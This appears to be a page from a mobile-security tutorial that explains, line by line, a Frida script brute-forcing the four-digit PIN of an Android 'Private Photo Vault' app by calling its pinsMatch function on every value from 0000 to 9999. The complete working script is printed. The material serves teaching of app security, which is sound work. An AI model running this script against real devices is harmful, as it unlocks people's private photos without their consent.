[4c.1] PIN bruteforce (in depth)

This page is intended to cover how the PIN bruteforce works and how it all goes together.

The requirements of our bruteforcing function can be summed up as: iterate every possible combinations of PINs, starting with 0000 and working our way up to 9999, and invoke the pinsMatch function on each combination until we get a true result.

function bruteforcePIN() {
	Java.perform(() => {
		var CryptoUtils = Java.use('com.github.browep.privatephotovault.crypto.CryptoUtils');
		var StringUtils = Java.use('org.apache.commons.lang.StringUtils');
		var context = getApplicationContext();
		for (var i = 0; i < 10000; i++) {
			if (i % 1000 == 0) {
				console.log('Tried', i, 'PINs');
			}
			var currentPin = StringUtils.leftPad(i.toString(), 4, '0');
			if (CryptoUtils.pinsMatch(currentPin, 'pin', context)) {
				console.log('found it!', currentPin);
				break;
			}
		}
	});
}

Line 2 - Java.perform

	Java.perform(() => {
		// do stuff
	});

Wrapping code in a Java.perform are a necessary evil whenever we use frida on Android. You can bank on needing to wrap just about every call you make inside of one.

Lines 3 and 4 - Java.use

var CryptoUtils = Java.use('com.github.browep.privatephotovault.crypto.CryptoUtils');
var StringUtils = Java.use('org.apache.commons.lang.StringUtils');

Java.use statements are necessary whenever you want to interact with Java classes. This goes for both classes that are part of the target app, and also classes that are part of the standard libraries. Java.use provides a wrapper with which you can do fun things with like invoking functions!

In this case, we are obtaining two wrappers: CryptoUtils, and StringUtils. If you consider the namespaces, you may note that StringUtils is not part of the "privatephotovault" but rather part of the Apache Commons library.

Line 5 - getApplicationContext()

var context = getApplicationContext();

At the risk of delving too far into the programming concepts, I want to explain the purpose of this call very simply to start: we need a Context to pass to our pinsMatch function (argument 3). That's it. That's the only reason!

Ok, that makes sense, but what is a Context? Essentially, every single Android app is going to have Application Context. This article on mindorks.com provides a decent explanation.

One last thing -- the getApplicationContext function is actually defined earlier in our privatePhotoVault.js script.

function getApplicationContext() {
	const ActivityThread = Java.use("android.app.ActivityThread");
	const currentApplication = ActivityThread.currentApplication();

	var ret = currentApplication.getApplicationContext();
	return ret;
}

As you can see, it is doing more of the same of what we've done earlier in the script. We're getting a wrapper to android.app.ActivityThread, then invoking two functions and ultimately returning our Application Context.

Line 6 - For loop

for (var i = 0; i < 10000; i++) {
    // Loop stuff...
}

Now we finally get to the good stuff! This loop starts at 0, and works its way up to 9999, and incrementing by one at a time.

Lines 7-9 - Update Progress

if (i % 1000 == 0) {
    console.log('Tried', i, 'PINs');
}

This section isn't necessary -- it's just for information. Every 1000 entries, we want to let the console know how many tries we've done.

If you're wondering what the % operator is, it's called modulo. Essentially, what if anything left over after dividing by a number.

Line 10 - Preparing our PIN attempt

var currentPin = StringUtils.leftPad(i.toString(), 4, '0');

We're tantalizingly close to trying our PIN now! We have one final step: currently, our loop is counting from 0 to 9999, but the passcode we need to try is "0000", "0001", etc.

Last updated